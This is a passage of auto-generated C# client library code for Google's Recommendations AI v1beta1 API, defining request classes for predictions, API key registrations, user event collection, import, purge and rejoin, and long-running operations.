Google.Apis.Discovery.Parameter { Name = "name", IsRequired = true, ParameterType = "path", DefaultValue = null, Pattern = @"^projects/[^/]+/locations/[^/]+/catalogs/[^/]+/eventStores/[^/]+$", }); RequestParameters.Add("filter", new Google.Apis.Discovery.Parameter { Name = "filter", IsRequired = false, ParameterType = "query", DefaultValue = null, Pattern = null, }); RequestParameters.Add("pageSize", new Google.Apis.Discovery.Parameter { Name = "pageSize", IsRequired = false, ParameterType = "query", DefaultValue = null, Pattern = null, }); RequestParameters.Add("pageToken", new Google.Apis.Discovery.Parameter { Name = "pageToken", IsRequired = false, ParameterType = "query", DefaultValue = null, Pattern = null, }); } } } /// <summary>Gets the Placements resource.</summary> public virtual PlacementsResource Placements { get; } /// <summary>The "placements" collection of methods.</summary> public class PlacementsResource { private const string Resource = "placements"; /// <summary>The service which this resource belongs to.</summary> private readonly Google.Apis.Services.IClientService service; /// <summary>Constructs a new resource.</summary> public PlacementsResource(Google.Apis.Services.IClientService service) { this.service = service; } /// <summary> /// Makes a recommendation prediction. If using API Key based authentication, the API Key must /// be registered using the PredictionApiKeyRegistry service. [Learn /// more](https://cloud.google.com/recommendations-ai/docs/setting-up#register-key). /// </summary> /// <param name="body">The body of the request.</param> /// <param name="name"> /// Required. Full resource name of the format: /// {name=projects/*/locations/global/catalogs/default_catalog/eventStores/default_event_store/placements/*} /// The id of the recommendation engine placement. This id is used to identify the set of models /// that will be used to make the prediction. We currently support three placements with the /// following IDs by default: * `shopping_cart`: Predicts items frequently bought together with /// one or more catalog items in the same shopping session. Commonly displayed after /// `add-to-cart` events, on product detail pages, or on the shopping cart page. * `home_page`: /// Predicts the next product that a user will most likely engage with or purchase based on the /// shopping or viewing history of the specified `userId` or `visitorId`. For example - /// Recommendations for you. * `product_detail`: Predicts the next product that a user will most /// likely engage with or purchase. The prediction is based on the shopping or viewing history /// of the specified `userId` or `visitorId` and its relevance to a specified `CatalogItem`. /// Typically used on product detail pages. For example - More items like this. * /// `recently_viewed_default`: Returns up to 75 items recently viewed by the specified `userId` /// or `visitorId`, most recent ones first. Returns nothing if neither of them has viewed any /// items yet. For example - Recently viewed. The full list of available placements can be seen /// at https://console.cloud.google.com/recommendation/datafeeds/default_catalog/dashboard /// </param> public virtual PredictRequest Predict(Google.Apis.RecommendationsAI.v1beta1.Data.GoogleCloudRecommendationengineV1beta1PredictRequest body, string name) { return new PredictRequest(service, body, name); } /// <summary> /// Makes a recommendation prediction. If using API Key based authentication, the API Key must /// be registered using the PredictionApiKeyRegistry service. [Learn /// more](https://cloud.google.com/recommendations-ai/docs/setting-up#register-key). /// </summary> public class PredictRequest : RecommendationsAIBaseServiceRequest<Google.Apis.RecommendationsAI.v1beta1.Data.GoogleCloudRecommendationengineV1beta1PredictResponse> { /// <summary>Constructs a new Predict request.</summary> public PredictRequest(Google.Apis.Services.IClientService service, Google.Apis.RecommendationsAI.v1beta1.Data.GoogleCloudRecommendationengineV1beta1PredictRequest body, string name) : base(service) { Name = name; Body = body; InitParameters(); } /// <summary> /// Required. Full resource name of the format: /// {name=projects/*/locations/global/catalogs/default_catalog/eventStores/default_event_store/placements/*} /// The id of the recommendation engine placement. This id is used to identify the set of /// models that will be used to make the prediction. We currently support three placements /// with the following IDs by default: * `shopping_cart`: Predicts items frequently bought /// together with one or more catalog items in the same shopping session. Commonly displayed /// after `add-to-cart` events, on product detail pages, or on the shopping cart page. * /// `home_page`: Predicts the next product that a user will most likely engage with or /// purchase based on the shopping or viewing history of the specified `userId` or /// `visitorId`. For example - Recommendations for you. * `product_detail`: Predicts the /// next product that a user will most likely engage with or purchase. The prediction is /// based on the shopping or viewing history of the specified `userId` or `visitorId` and /// its relevance to a specified `CatalogItem`. Typically used on product detail pages. For /// example - More items like this. * `recently_viewed_default`: Returns up to 75 items /// recently viewed by the specified `userId` or `visitorId`, most recent ones first. /// Returns nothing if neither of them has viewed any items yet. For example - Recently /// viewed. The full list of available placements can be seen at /// https://console.cloud.google.com/recommendation/datafeeds/default_catalog/dashboard /// </summary> [Google.Apis.Util.RequestParameterAttribute("name", Google.Apis.Util.RequestParameterType.Path)] public virtual string Name { get; private set; } /// <summary>Gets or sets the body of this request.</summary> Google.Apis.RecommendationsAI.v1beta1.Data.GoogleCloudRecommendationengineV1beta1PredictRequest Body { get; set; } /// <summary>Returns the body of the request.</summary> protected override object GetBody() => Body; /// <summary>Gets the method name.</summary> public override string MethodName => "predict"; /// <summary>Gets the HTTP method.</summary> public override string HttpMethod => "POST"; /// <summary>Gets the REST path.</summary> public override string RestPath => "v1beta1/{+name}:predict"; /// <summary>Initializes Predict parameter list.</summary> protected override void InitParameters() { base.InitParameters(); RequestParameters.Add("name", new Google.Apis.Discovery.Parameter { Name = "name", IsRequired = true, ParameterType = "path", DefaultValue = null, Pattern = @"^projects/[^/]+/locations/[^/]+/catalogs/[^/]+/eventStores/[^/]+/placements/[^/]+$", }); } } } /// <summary>Gets the PredictionApiKeyRegistrations resource.</summary> public virtual PredictionApiKeyRegistrationsResource PredictionApiKeyRegistrations { get; } /// <summary>The "predictionApiKeyRegistrations" collection of methods.</summary> public class PredictionApiKeyRegistrationsResource { private const string Resource = "predictionApiKeyRegistrations"; /// <summary>The service which this resource belongs to.</summary> private readonly Google.Apis.Services.IClientService service; /// <summary>Constructs a new resource.</summary> public PredictionApiKeyRegistrationsResource(Google.Apis.Services.IClientService service) { this.service = service; } /// <summary>Register an API key for use with predict method.</summary> /// <param name="body">The body of the request.</param> /// <param name="parent"> /// Required. The parent resource path. /// "projects/*/locations/global/catalogs/default_catalog/eventStores/default_event_store". /// </param> public virtual CreateRequest Create(Google.Apis.RecommendationsAI.v1beta1.Data.GoogleCloudRecommendationengineV1beta1CreatePredictionApiKeyRegistrationRequest body, string parent) { return new CreateRequest(service, body, parent); } /// <summary>Register an API key for use with predict method.</summary> public class CreateRequest : RecommendationsAIBaseServiceRequest<Google.Apis.RecommendationsAI.v1beta1.Data.GoogleCloudRecommendationengineV1beta1PredictionApiKeyRegistration> { /// <summary>Constructs a new Create request.</summary> public CreateRequest(Google.Apis.Services.IClientService service, Google.Apis.RecommendationsAI.v1beta1.Data.GoogleCloudRecommendationengineV1beta1CreatePredictionApiKeyRegistrationRequest body, string parent) : base(service) { Parent = parent; Body = body; InitParameters(); } /// <summary> /// Required. The parent resource path. /// "projects/*/locations/global/catalogs/default_catalog/eventStores/default_event_store". /// </summary> [Google.Apis.Util.RequestParameterAttribute("parent", Google.Apis.Util.RequestParameterType.Path)] public virtual string Parent { get; private set; } /// <summary>Gets or sets the body of this request.</summary> Google.Apis.RecommendationsAI.v1beta1.Data.GoogleCloudRecommendationengineV1beta1CreatePredictionApiKeyRegistrationRequest Body { get; set; } /// <summary>Returns the body of the request.</summary> protected override object GetBody() => Body; /// <summary>Gets the method name.</summary> public override string MethodName => "create"; /// <summary>Gets the HTTP method.</summary> public override string HttpMethod => "POST"; /// <summary>Gets the REST path.</summary> public override string RestPath => "v1beta1/{+parent}/predictionApiKeyRegistrations"; /// <summary>Initializes Create parameter list.</summary> protected override void InitParameters() { base.InitParameters(); RequestParameters.Add("parent", new Google.Apis.Discovery.Parameter { Name = "parent", IsRequired = true, ParameterType = "path", DefaultValue = null, Pattern = @"^projects/[^/]+/locations/[^/]+/catalogs/[^/]+/eventStores/[^/]+$", }); } } /// <summary>Unregister an apiKey from using for predict method.</summary> /// <param name="name"> /// Required. The API key to unregister including full resource path. /// "projects/*/locations/global/catalogs/default_catalog/eventStores/default_event_store/predictionApiKeyRegistrations/" /// </param> public virtual DeleteRequest Delete(string name) { return new DeleteRequest(service, name); } /// <summary>Unregister an apiKey from using for predict method.</summary> public class DeleteRequest : RecommendationsAIBaseServiceRequest<Google.Apis.RecommendationsAI.v1beta1.Data.GoogleProtobufEmpty> { /// <summary>Constructs a new Delete request.</summary> public DeleteRequest(Google.Apis.Services.IClientService service, string name) : base(service) { Name = name; InitParameters(); } /// <summary> /// Required. The API key to unregister including full resource path. /// "projects/*/locations/global/catalogs/default_catalog/eventStores/default_event_store/predictionApiKeyRegistrations/" /// </summary> [Google.Apis.Util.RequestParameterAttribute("name", Google.Apis.Util.RequestParameterType.Path)] public virtual string Name { get; private set; } /// <summary>Gets the method name.</summary> public override string MethodName => "delete"; /// <summary>Gets the HTTP method.</summary> public override string HttpMethod => "DELETE"; /// <summary>Gets the REST path.</summary> public override string RestPath => "v1beta1/{+name}"; /// <summary>Initializes Delete parameter list.</summary> protected override void InitParameters() { base.InitParameters(); RequestParameters.Add("name", new Google.Apis.Discovery.Parameter { Name = "name", IsRequired = true, ParameterType = "path", DefaultValue = null, Pattern = @"^projects/[^/]+/locations/[^/]+/catalogs/[^/]+/eventStores/[^/]+/predictionApiKeyRegistrations/[^/]+$", }); } } /// <summary>List the registered apiKeys for use with predict method.</summary> /// <param name="parent"> /// Required. The parent placement resource name such as /// "projects/1234/locations/global/catalogs/default_catalog/eventStores/default_event_store" /// </param> public virtual ListRequest List(string parent) { return new ListRequest(service, parent); } /// <summary>List the registered apiKeys for use with predict method.</summary> public class ListRequest : RecommendationsAIBaseServiceRequest<Google.Apis.RecommendationsAI.v1beta1.Data.GoogleCloudRecommendationengineV1beta1ListPredictionApiKeyRegistrationsResponse> { /// <summary>Constructs a new List request.</summary> public ListRequest(Google.Apis.Services.IClientService service, string parent) : base(service) { Parent = parent; InitParameters(); } /// <summary> /// Required. The parent placement resource name such as /// "projects/1234/locations/global/catalogs/default_catalog/eventStores/default_event_store" /// </summary> [Google.Apis.Util.RequestParameterAttribute("parent", Google.Apis.Util.RequestParameterType.Path)] public virtual string Parent { get; private set; } /// <summary> /// Optional. Maximum number of results to return per page. If unset, the service will /// choose a reasonable default. /// </summary> [Google.Apis.Util.RequestParameterAttribute("pageSize", Google.Apis.Util.RequestParameterType.Query)] public virtual System.Nullable<int> PageSize { get; set; } /// <summary> /// Optional. The previous `ListPredictionApiKeyRegistration.nextPageToken`. /// </summary> [Google.Apis.Util.RequestParameterAttribute("pageToken", Google.Apis.Util.RequestParameterType.Query)] public virtual string PageToken { get; set; } /// <summary>Gets the method name.</summary> public override string MethodName => "list"; /// <summary>Gets the HTTP method.</summary> public override string HttpMethod => "GET"; /// <summary>Gets the REST path.</summary> public override string RestPath => "v1beta1/{+parent}/predictionApiKeyRegistrations"; /// <summary>Initializes List parameter list.</summary> protected override void InitParameters() { base.InitParameters(); RequestParameters.Add("parent", new Google.Apis.Discovery.Parameter { Name = "parent", IsRequired = true, ParameterType = "path", DefaultValue = null, Pattern = @"^projects/[^/]+/locations/[^/]+/catalogs/[^/]+/eventStores/[^/]+$", }); RequestParameters.Add("pageSize", new Google.Apis.Discovery.Parameter { Name = "pageSize", IsRequired = false, ParameterType = "query", DefaultValue = null, Pattern = null, }); RequestParameters.Add("pageToken", new Google.Apis.Discovery.Parameter { Name = "pageToken", IsRequired = false, ParameterType = "query", DefaultValue = null, Pattern = null, }); } } } /// <summary>Gets the UserEvents resource.</summary> public virtual UserEventsResource UserEvents { get; } /// <summary>The "userEvents" collection of methods.</summary> public class UserEventsResource { private const string Resource = "userEvents"; /// <summary>The service which this resource belongs to.</summary> private readonly Google.Apis.Services.IClientService service; /// <summary>Constructs a new resource.</summary> public UserEventsResource(Google.Apis.Services.IClientService service) { this.service = service; } /// <summary> /// Writes a single user event from the browser. This uses a GET request to due to browser /// restriction of POST-ing to a 3rd party domain. This method is used only by the /// Recommendations AI JavaScript pixel. Users should not call this method directly. /// </summary> /// <param name="parent"> /// Required. The parent eventStore name, such as /// "projects/1234/locations/global/catalogs/default_catalog/eventStores/default_event_store". /// </param> public virtual CollectRequest Collect(string parent) { return new CollectRequest(service, parent); } /// <summary> /// Writes a single user event from the browser. This uses a GET request to due to browser /// restriction of POST-ing to a 3rd party domain. This method is used only by the /// Recommendations AI JavaScript pixel. Users should not call this method directly. /// </summary> public class CollectRequest : RecommendationsAIBaseServiceRequest<Google.Apis.RecommendationsAI.v1beta1.Data.GoogleApiHttpBody> { /// <summary>Constructs a new Collect request.</summary> public CollectRequest(Google.Apis.Services.IClientService service, string parent) : base(service) { Parent = parent; InitParameters(); } /// <summary> /// Required. The parent eventStore name, such as /// "projects/1234/locations/global/catalogs/default_catalog/eventStores/default_event_store". /// </summary> [Google.Apis.Util.RequestParameterAttribute("parent", Google.Apis.Util.RequestParameterType.Path)] public virtual string Parent { get; private set; } /// <summary> /// Optional. The event timestamp in milliseconds. This prevents browser caching of /// otherwise identical get requests. The name is abbreviated to reduce the payload bytes. /// </summary> [Google.Apis.Util.RequestParameterAttribute("ets", Google.Apis.Util.RequestParameterType.Query)] public virtual System.Nullable<long> Ets { get; set; } /// <summary> /// Optional. The url including cgi-parameters but excluding the hash fragment. The URL must /// be truncated to 1.5K bytes to conservatively be under the 2K bytes. This is often more /// useful than the referer url, because many browsers only send the domain for 3rd party /// requests. /// </summary> [Google.Apis.Util.RequestParameterAttribute("uri", Google.Apis.Util.RequestParameterType.Query)] public virtual string Uri { get; set; } /// <summary>Required. URL encoded UserEvent proto.</summary> [Google.Apis.Util.RequestParameterAttribute("userEvent", Google.Apis.Util.RequestParameterType.Query)] public virtual string UserEvent { get; set; } /// <summary>Gets the method name.</summary> public override string MethodName => "collect"; /// <summary>Gets the HTTP method.</summary> public override string HttpMethod => "GET"; /// <summary>Gets the REST path.</summary> public override string RestPath => "v1beta1/{+parent}/userEvents:collect"; /// <summary>Initializes Collect parameter list.</summary> protected override void InitParameters() { base.InitParameters(); RequestParameters.Add("parent", new Google.Apis.Discovery.Parameter { Name = "parent", IsRequired = true, ParameterType = "path", DefaultValue = null, Pattern = @"^projects/[^/]+/locations/[^/]+/catalogs/[^/]+/eventStores/[^/]+$", }); RequestParameters.Add("ets", new Google.Apis.Discovery.Parameter { Name = "ets", IsRequired = false, ParameterType = "query", DefaultValue = null, Pattern = null, }); RequestParameters.Add("uri", new Google.Apis.Discovery.Parameter { Name = "uri", IsRequired = false, ParameterType = "query", DefaultValue = null, Pattern = null, }); RequestParameters.Add("userEvent", new Google.Apis.Discovery.Parameter { Name = "userEvent", IsRequired = false, ParameterType = "query", DefaultValue = null, Pattern = null, }); } } /// <summary> /// Bulk import of User events. Request processing might be synchronous. Events that already /// exist are skipped. Use this method for backfilling historical user events. /// Operation.response is of type ImportResponse. Note that it is possible for a subset of the /// items to be successfully inserted. Operation.metadata is of type ImportMetadata. /// </summary> /// <param name="body">The body of the request.</param> /// <param name="parent"> /// Required. /// "projects/1234/locations/global/catalogs/default_catalog/eventStores/default_event_store" /// </param> public virtual ImportRequest Import(Google.Apis.RecommendationsAI.v1beta1.Data.GoogleCloudRecommendationengineV1beta1ImportUserEventsRequest body, string parent) { return new ImportRequest(service, body, parent); } /// <summary> /// Bulk import of User events. Request processing might be synchronous. Events that already /// exist are skipped. Use this method for backfilling historical user events. /// Operation.response is of type ImportResponse. Note that it is possible for a subset of the /// items to be successfully inserted. Operation.metadata is of type ImportMetadata. /// </summary> public class ImportRequest : RecommendationsAIBaseServiceRequest<Google.Apis.RecommendationsAI.v1beta1.Data.GoogleLongrunningOperation> { /// <summary>Constructs a new Import request.</summary> public ImportRequest(Google.Apis.Services.IClientService service, Google.Apis.RecommendationsAI.v1beta1.Data.GoogleCloudRecommendationengineV1beta1ImportUserEventsRequest body, string parent) : base(service) { Parent = parent; Body = body; InitParameters(); } /// <summary> /// Required. /// "projects/1234/locations/global/catalogs/default_catalog/eventStores/default_event_store" /// </summary> [Google.Apis.Util.RequestParameterAttribute("parent", Google.Apis.Util.RequestParameterType.Path)] public virtual string Parent { get; private set; } /// <summary>Gets or sets the body of this request.</summary> Google.Apis.RecommendationsAI.v1beta1.Data.GoogleCloudRecommendationengineV1beta1ImportUserEventsRequest Body { get; set; } /// <summary>Returns the body of the request.</summary> protected override object GetBody() => Body; /// <summary>Gets the method name.</summary> public override string MethodName => "import"; /// <summary>Gets the HTTP method.</summary> public override string HttpMethod => "POST"; /// <summary>Gets the REST path.</summary> public override string RestPath => "v1beta1/{+parent}/userEvents:import"; /// <summary>Initializes Import parameter list.</summary> protected override void InitParameters() { base.InitParameters(); RequestParameters.Add("parent", new Google.Apis.Discovery.Parameter { Name = "parent", IsRequired = true, ParameterType = "path", DefaultValue = null, Pattern = @"^projects/[^/]+/locations/[^/]+/catalogs/[^/]+/eventStores/[^/]+$", }); } } /// <summary> /// Gets a list of user events within a time range, with potential filtering. The method does /// not list unjoined user events. Unjoined user event definition: when a user event is ingested /// from Recommendations AI User Event APIs, the catalog item included in the user event is /// connected with the current catalog. If a catalog item of the ingested event is not in the /// current catalog, it could lead to degraded model quality. This is called an unjoined event. /// </summary> /// <param name="parent"> /// Required. The parent eventStore resource name, such as /// "projects/*/locations/*/catalogs/default_catalog/eventStores/default_event_store". /// </param> public virtual ListRequest List(string parent) { return new ListRequest(service, parent); } /// <summary> /// Gets a list of user events within a time range, with potential filtering. The method does /// not list unjoined user events. Unjoined user event definition: when a user event is ingested /// from Recommendations AI User Event APIs, the catalog item included in the user event is /// connected with the current catalog. If a catalog item of the ingested event is not in the /// current catalog, it could lead to degraded model quality. This is called an unjoined event. /// </summary> public class ListRequest : RecommendationsAIBaseServiceRequest<Google.Apis.RecommendationsAI.v1beta1.Data.GoogleCloudRecommendationengineV1beta1ListUserEventsResponse> { /// <summary>Constructs a new List request.</summary> public ListRequest(Google.Apis.Services.IClientService service, string parent) : base(service) { Parent = parent; InitParameters(); } /// <summary> /// Required. The parent eventStore resource name, such as /// "projects/*/locations/*/catalogs/default_catalog/eventStores/default_event_store". /// </summary> [Google.Apis.Util.RequestParameterAttribute("parent", Google.Apis.Util.RequestParameterType.Path)] public virtual string Parent { get; private set; } /// <summary> /// Optional. Filtering expression to specify restrictions over returned events. This is a /// sequence of terms, where each term applies some kind of a restriction to the returned /// user events. Use this expression to restrict results to a specific time range, or filter /// events by eventType. eg: eventTime &amp;gt; "2012-04-23T18:25:43.511Z" /// eventsMissingCatalogItems eventTime&amp;lt;"2012-04-23T18:25:43.511Z" eventType=search /// We expect only 3 types of fields: * eventTime: this can be specified a maximum of 2 /// times, once with a less than operator and once with a greater than operator. The /// eventTime restrict should result in one contiguous valid eventTime range. * eventType: /// only 1 eventType restriction can be specified. * eventsMissingCatalogItems: specififying /// this will restrict results to events for which catalog items were not found in the /// catalog. The default behavior is to return only those events for which catalog items /// were found. Some examples of valid filters expressions: * Example 1: eventTime &amp;gt; /// "2012-04-23T18:25:43.511Z" eventTime &amp;lt; "2012-04-23T18:30:43.511Z" * Example 2: /// eventTime &amp;gt; "2012-04-23T18:25:43.511Z" eventType = detail-page-view * Example 3: /// eventsMissingCatalogItems eventType = search eventTime &amp;lt; /// "2018-04-23T18:30:43.511Z" * Example 4: eventTime &amp;gt; "2012-04-23T18:25:43.511Z" * /// Example 5: eventType = search * Example 6: eventsMissingCatalogItems /// </summary> [Google.Apis.Util.RequestParameterAttribute("filter", Google.Apis.Util.RequestParameterType.Query)] public virtual string Filter { get; set; } /// <summary> /// Optional. Maximum number of results to return per page. If zero, the service will choose /// a reasonable default. /// </summary> [Google.Apis.Util.RequestParameterAttribute("pageSize", Google.Apis.Util.RequestParameterType.Query)] public virtual System.Nullable<int> PageSize { get; set; } /// <summary>Optional. The previous ListUserEventsResponse.next_page_token.</summary> [Google.Apis.Util.RequestParameterAttribute("pageToken", Google.Apis.Util.RequestParameterType.Query)] public virtual string PageToken { get; set; } /// <summary>Gets the method name.</summary> public override string MethodName => "list"; /// <summary>Gets the HTTP method.</summary> public override string HttpMethod => "GET"; /// <summary>Gets the REST path.</summary> public override string RestPath => "v1beta1/{+parent}/userEvents"; /// <summary>Initializes List parameter list.</summary> protected override void InitParameters() { base.InitParameters(); RequestParameters.Add("parent", new Google.Apis.Discovery.Parameter { Name = "parent", IsRequired = true, ParameterType = "path", DefaultValue = null, Pattern = @"^projects/[^/]+/locations/[^/]+/catalogs/[^/]+/eventStores/[^/]+$", }); RequestParameters.Add("filter", new Google.Apis.Discovery.Parameter { Name = "filter", IsRequired = false, ParameterType = "query", DefaultValue = null, Pattern = null, }); RequestParameters.Add("pageSize", new Google.Apis.Discovery.Parameter { Name = "pageSize", IsRequired = false, ParameterType = "query", DefaultValue = null, Pattern = null, }); RequestParameters.Add("pageToken", new Google.Apis.Discovery.Parameter { Name = "pageToken", IsRequired = false, ParameterType = "query", DefaultValue = null, Pattern = null, }); } } /// <summary> /// Deletes permanently all user events specified by the filter provided. Depending on the /// number of events specified by the filter, this operation could take hours or days to /// complete. To test a filter, use the list command first. /// </summary> /// <param name="body">The body of the request.</param> /// <param name="parent"> /// Required. The resource name of the event_store under which the events are created. The /// format is /// "projects/${projectId}/locations/global/catalogs/${catalogId}/eventStores/${eventStoreId}" /// </param> public virtual PurgeRequest Purge(Google.Apis.RecommendationsAI.v1beta1.Data.GoogleCloudRecommendationengineV1beta1PurgeUserEventsRequest body, string parent) { return new PurgeRequest(service, body, parent); } /// <summary> /// Deletes permanently all user events specified by the filter provided. Depending on the /// number of events specified by the filter, this operation could take hours or days to /// complete. To test a filter, use the list command first. /// </summary> public class PurgeRequest : RecommendationsAIBaseServiceRequest<Google.Apis.RecommendationsAI.v1beta1.Data.GoogleLongrunningOperation> { /// <summary>Constructs a new Purge request.</summary> public PurgeRequest(Google.Apis.Services.IClientService service, Google.Apis.RecommendationsAI.v1beta1.Data.GoogleCloudRecommendationengineV1beta1PurgeUserEventsRequest body, string parent) : base(service) { Parent = parent; Body = body; InitParameters(); } /// <summary> /// Required. The resource name of the event_store under which the events are created. The /// format is /// "projects/${projectId}/locations/global/catalogs/${catalogId}/eventStores/${eventStoreId}" /// </summary> [Google.Apis.Util.RequestParameterAttribute("parent", Google.Apis.Util.RequestParameterType.Path)] public virtual string Parent { get; private set; } /// <summary>Gets or sets the body of this request.</summary> Google.Apis.RecommendationsAI.v1beta1.Data.GoogleCloudRecommendationengineV1beta1PurgeUserEventsRequest Body { get; set; } /// <summary>Returns the body of the request.</summary> protected override object GetBody() => Body; /// <summary>Gets the method name.</summary> public override string MethodName => "purge"; /// <summary>Gets the HTTP method.</summary> public override string HttpMethod => "POST"; /// <summary>Gets the REST path.</summary> public override string RestPath => "v1beta1/{+parent}/userEvents:purge"; /// <summary>Initializes Purge parameter list.</summary> protected override void InitParameters() { base.InitParameters(); RequestParameters.Add("parent", new Google.Apis.Discovery.Parameter { Name = "parent", IsRequired = true, ParameterType = "path", DefaultValue = null, Pattern = @"^projects/[^/]+/locations/[^/]+/catalogs/[^/]+/eventStores/[^/]+$", }); } } /// <summary> /// Triggers a user event rejoin operation with latest catalog data. Events will not be /// annotated with detailed catalog information if catalog item is missing at the time the user /// event is ingested, and these events are stored as unjoined events with a limited usage on /// training and serving. This API can be used to trigger a 'join' operation on specified events /// with latest version of catalog items. It can also be used to correct events joined with /// wrong catalog items. /// </summary> /// <param name="body">The body of the request.</param> /// <param name="parent"> /// Required. Full resource name of user event, such as /// "projects/*/locations/*/catalogs/default_catalog/eventStores/default_event_store". /// </param> public virtual RejoinRequest Rejoin(Google.Apis.RecommendationsAI.v1beta1.Data.GoogleCloudRecommendationengineV1beta1RejoinUserEventsRequest body, string parent) { return new RejoinRequest(service, body, parent); } /// <summary> /// Triggers a user event rejoin operation with latest catalog data. Events will not be /// annotated with detailed catalog information if catalog item is missing at the time the user /// event is ingested, and these events are stored as unjoined events with a limited usage on /// training and serving. This API can be used to trigger a 'join' operation on specified events /// with latest version of catalog items. It can also be used to correct events joined with /// wrong catalog items. /// </summary> public class RejoinRequest : RecommendationsAIBaseServiceRequest<Google.Apis.RecommendationsAI.v1beta1.Data.GoogleLongrunningOperation> { /// <summary>Constructs a new Rejoin request.</summary> public RejoinRequest(Google.Apis.Services.IClientService service, Google.Apis.RecommendationsAI.v1beta1.Data.GoogleCloudRecommendationengineV1beta1RejoinUserEventsRequest body, string parent) : base(service) { Parent = parent; Body = body; InitParameters(); } /// <summary> /// Required. Full resource name of user event, such as /// "projects/*/locations/*/catalogs/default_catalog/eventStores/default_event_store". /// </summary> [Google.Apis.Util.RequestParameterAttribute("parent", Google.Apis.Util.RequestParameterType.Path)] public virtual string Parent { get; private set; } /// <summary>Gets or sets the body of this request.</summary> Google.Apis.RecommendationsAI.v1beta1.Data.GoogleCloudRecommendationengineV1beta1RejoinUserEventsRequest Body { get; set; } /// <summary>Returns the body of the request.</summary> protected override object GetBody() => Body; /// <summary>Gets the method name.</summary> public override string MethodName => "rejoin"; /// <summary>Gets the HTTP method.</summary> public override string HttpMethod => "POST"; /// <summary>Gets the REST path.</summary> public override string RestPath => "v1beta1/{+parent}/userEvents:rejoin"; /// <summary>Initializes Rejoin parameter list.</summary> protected override void InitParameters() { base.InitParameters(); RequestParameters.Add("parent", new Google.Apis.Discovery.Parameter { Name = "parent", IsRequired = true, ParameterType = "path", DefaultValue = null, Pattern = @"^projects/[^/]+/locations/[^/]+/catalogs/[^/]+/eventStores/[^/]+$", }); } } /// <summary>Writes a single user event.</summary> /// <param name="body">The body of the request.</param> /// <param name="parent"> /// Required. The parent eventStore resource name, such as /// "projects/1234/locations/global/catalogs/default_catalog/eventStores/default_event_store". /// </param> public virtual WriteRequest Write(Google.Apis.RecommendationsAI.v1beta1.Data.GoogleCloudRecommendationengineV1beta1UserEvent body, string parent) { return new WriteRequest(service, body, parent); } /// <summary>Writes a single user event.</summary> public class WriteRequest : RecommendationsAIBaseServiceRequest<Google.Apis.RecommendationsAI.v1beta1.Data.GoogleCloudRecommendationengineV1beta1UserEvent> { /// <summary>Constructs a new Write request.</summary> public WriteRequest(Google.Apis.Services.IClientService service, Google.Apis.RecommendationsAI.v1beta1.Data.GoogleCloudRecommendationengineV1beta1UserEvent body, string parent) : base(service) { Parent = parent; Body = body; InitParameters(); } /// <summary> /// Required. The parent eventStore resource name, such as /// "projects/1234/locations/global/catalogs/default_catalog/eventStores/default_event_store". /// </summary> [Google.Apis.Util.RequestParameterAttribute("parent", Google.Apis.Util.RequestParameterType.Path)] public virtual string Parent { get; private set; } /// <summary>Gets or sets the body of this request.</summary> Google.Apis.RecommendationsAI.v1beta1.Data.GoogleCloudRecommendationengineV1beta1UserEvent Body { get; set; } /// <summary>Returns the body of the request.</summary> protected override object GetBody() => Body; /// <summary>Gets the method name.</summary> public override string MethodName => "write"; /// <summary>Gets the HTTP method.</summary> public override string HttpMethod => "POST"; /// <summary>Gets the REST path.</summary> public override string RestPath => "v1beta1/{+parent}/userEvents:write"; /// <summary>Initializes Write parameter list.</summary> protected override void InitParameters() { base.InitParameters(); RequestParameters.Add("parent", new Google.Apis.Discovery.Parameter { Name = "parent", IsRequired = true, ParameterType = "path", DefaultValue = null, Pattern = @"^projects/[^/]+/locations/[^/]+/catalogs/[^/]+/eventStores/[^/]+$", }); } } } } /// <summary>Gets the Operations resource.</summary> public virtual OperationsResource Operations { get; } /// <summary>The "operations" collection of methods.</summary> public class OperationsResource { private const string Resource = "operations"; /// <summary>The service which this resource belongs to.</summary> private readonly Google.Apis.Services.IClientService service; /// <summary>Constructs a new resource.</summary> public OperationsResource(Google.Apis.Services.IClientService service) { this.service = service; } /// <summary> /// Gets the latest state of a long-running operation. Clients can use this method to poll the /// operation result at intervals as recommended by the API service. /// </summary> /// <param name="name">The name of the operation resource.</param> public virtual GetRequest Get(string name) { return new GetRequest(service, name); } /// <summary> /// Gets the latest state of a long-running operation. Clients can use this method to poll the /// operation result at intervals as recommended by the API service. /// </summary> public class GetRequest : RecommendationsAIBaseServiceRequest<Google.Apis.RecommendationsAI.v1beta1.Data.GoogleLongrunningOperation> { /// <summary>Constructs a new Get request.</summary> public GetRequest(Google.Apis.Services.IClientService service, string name) : base(service) { Name = name; InitParameters(); } /// <summary>The name of the operation resource.</summary> [Google.Apis.Util.RequestParameterAttribute("name", Google.Apis.Util.RequestParameterType.Path)] public virtual string Name { get; private set; } /// <summary>Gets the method name.</summary> public override string MethodName => "get"; /// <summary>Gets the HTTP method.</summary> public override string HttpMethod => "GET"; /// <summary>Gets the REST path.</summary> public override string RestPath => "v1beta1/{+name}"; /// <summary>Initializes Get parameter list.</summary> protected override void InitParameters() { base.InitParameters(); RequestParameters.Add("name", new Google.Apis.Discovery.Parameter { Name = "name", IsRequired = true, ParameterType = "path", DefaultValue = null, Pattern = @"^projects/[^/]+/locations/[^/]+/catalogs/[^/]+/operations/[^/]+$", }); } } /// <summary> /// Lists operations that match the specified filter in the request. If the server doesn't support /// this method, it returns `UNIMPLEMENTED`. NOTE: the `name` binding allows API services to /// override the binding to use different resource name schemes, such as `users/*/operations`. To /// override the binding, API services can add a binding such as `"/v1/{name=users/*}/operations"` /// to their service configuration. For backwards compatibility, the default name includes the /// operations collection id, however overriding users must ensure the name binding is the parent /// resource, without the operations collection id. /// </summary> /// <param name="name">The name of the operation's parent resource.</param> public virtual ListRequest List(string name) { return new ListRequest(service, name); } /// <summary> /// Lists operations that match the specified filter in the request. If the server doesn't support /// this method, it returns `UNIMPLEMENTED`. NOTE: the `name` binding allows API services to /// override the binding to use different resource name schemes, such as `users/*/operations`. To /// override the binding, API services can add a binding such as `"/v1/{name=users/*}/operations"` /// to their service configuration. For backwards compatibility, the default name includes the /// operations collection id, however overriding users must ensure the name binding is the parent /// resource, without the operations collection id. /// </summary> public class ListRequest : RecommendationsAIBaseServiceRequest<Google.Apis.RecommendationsAI.v1beta1.Data.GoogleLongrunningListOperationsResponse> { /// <summary>Constructs a new List request.</summary> public ListRequest(Google.Apis.Services.IClientService service, string name) : base(service) { Name = name; InitParameters(); } /// <summary>The name of the operation's parent resource.</summary> [Google.Apis.Util.RequestParameterAttribute("name", Google.Apis.Util.RequestParameterType.Path)] public virtual string Name { get; private set; } /// <summary>The standard list filter.</summary> 